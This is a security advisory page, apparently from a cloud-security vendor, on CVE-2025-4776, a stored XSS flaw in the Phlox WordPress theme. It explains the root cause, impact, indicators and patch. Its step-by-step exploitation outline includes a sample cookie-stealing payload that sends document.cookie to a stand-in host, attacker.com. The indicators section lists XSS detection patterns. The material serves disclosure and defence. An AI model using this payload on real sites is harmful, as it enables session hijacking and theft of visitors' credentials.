CVE-2025-4776: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-4776 is a Stored Cross-Site Scripting (XSS) vulnerability in the Phlox theme for WordPress, affecting all versions up to and including 2.17.7. The flaw arises from insufficient input sanitization and output escaping of the data-caption HTML attribute, allowing authenticated attackers with Contributor-level access or higher to inject persistent malicious scripts into pages. The vulnerability was published on January 6, 2026, and was reported by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, NVD).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The Phlox theme fails to properly sanitize user-supplied input in the data-caption HTML attribute before rendering it in page output, enabling script injection. An attacker with at least Contributor-level WordPress access can craft a post or page containing a malicious payload in the data-caption attribute; the script is then stored server-side and executes in the browsers of any user who visits the affected page. The attack vector is network-based, requires low privileges, and no user interaction beyond page visitation is needed for the payload to trigger (Wordfence, NVD).

Impact

Successful exploitation allows injected scripts to execute in the context of any visitor's browser on affected WordPress sites, impacting both confidentiality and integrity. Attackers can steal session cookies, capture credentials, redirect users to malicious sites, or perform actions on behalf of authenticated users including administrators. While availability is not directly impacted, a compromised administrator session could lead to full site takeover and broader lateral movement within the WordPress environment (Wordfence).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-4776 as of the available data. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029%, indicating a low probability of near-term exploitation. Exploitation requires at minimum a Contributor-level WordPress account, which limits opportunistic mass exploitation but remains a realistic threat on sites with open contributor registration (Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites using the Phlox theme (version ≤ 2.17.7) via HTTP response headers, page source, or tools like WPScan.
  2. Obtain Contributor Access: Register or compromise a Contributor-level (or higher) WordPress account on the target site.
  3. Craft Malicious Content: Create or edit a post/page that includes an HTML element using the data-caption attribute with an injected XSS payload, e.g., data-caption="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>".
  4. Publish Content: Submit the post for publication (or publish directly if permissions allow), causing the malicious payload to be stored in the WordPress database.
  5. Trigger Execution: When any user (including administrators) visits the page containing the injected content, the script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to post/page creation or editing endpoints (/wp-admin/post.php) from Contributor-level accounts containing data-caption values with script tags or encoded JavaScript.
  • Database: WordPress wp_posts or wp_postmeta tables containing data-caption attributes with <script>, javascript:, onerror=, or other XSS payloads in post content.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting specific WordPress pages, potentially carrying cookie or session data in query parameters.
  • File System: Unexpected modifications to theme template files if an attacker escalated privileges post-exploitation to achieve persistent file-level access.

Mitigation and workarounds

The vulnerability is patched in Phlox theme version 2.17.8, which includes proper input sanitization and output escaping for the data-caption attribute (WordPress Trac). Site administrators should update the Phlox theme to version 2.17.8 or later immediately. As a temporary workaround, restrict Contributor-level user registration and review existing Contributor accounts for suspicious content. Web application firewalls (WAFs) with XSS filtering rules can provide an additional layer of defense while patching is pending (Wordfence).

Community reactions

Sucuri included CVE-2025-4776 in their January 2026 vulnerability patch roundup, highlighting it as one of several WordPress theme vulnerabilities requiring prompt attention (Sucuri Blog). No significant broader media coverage or notable researcher commentary beyond standard vulnerability disclosure channels has been identified.

Additional resources


Source: This report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-86850MEDIUM6.5
  • sku-error-fixer-for-woocommerce
NoNoOct 06, 2026
CVE-2026-88931MEDIUM5.3
  • social-web-suite
NoNoOct 06, 2026
CVE-2026-87841MEDIUM5.3
  • unitechpay-paiements-mobile-money
NoNoOct 06, 2026
CVE-2026-92990MEDIUM5.3
  • sendpress
NoNoOct 06, 2026
CVE-2026-92989MEDIUM4.3
  • sendpress
NoNoOct 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management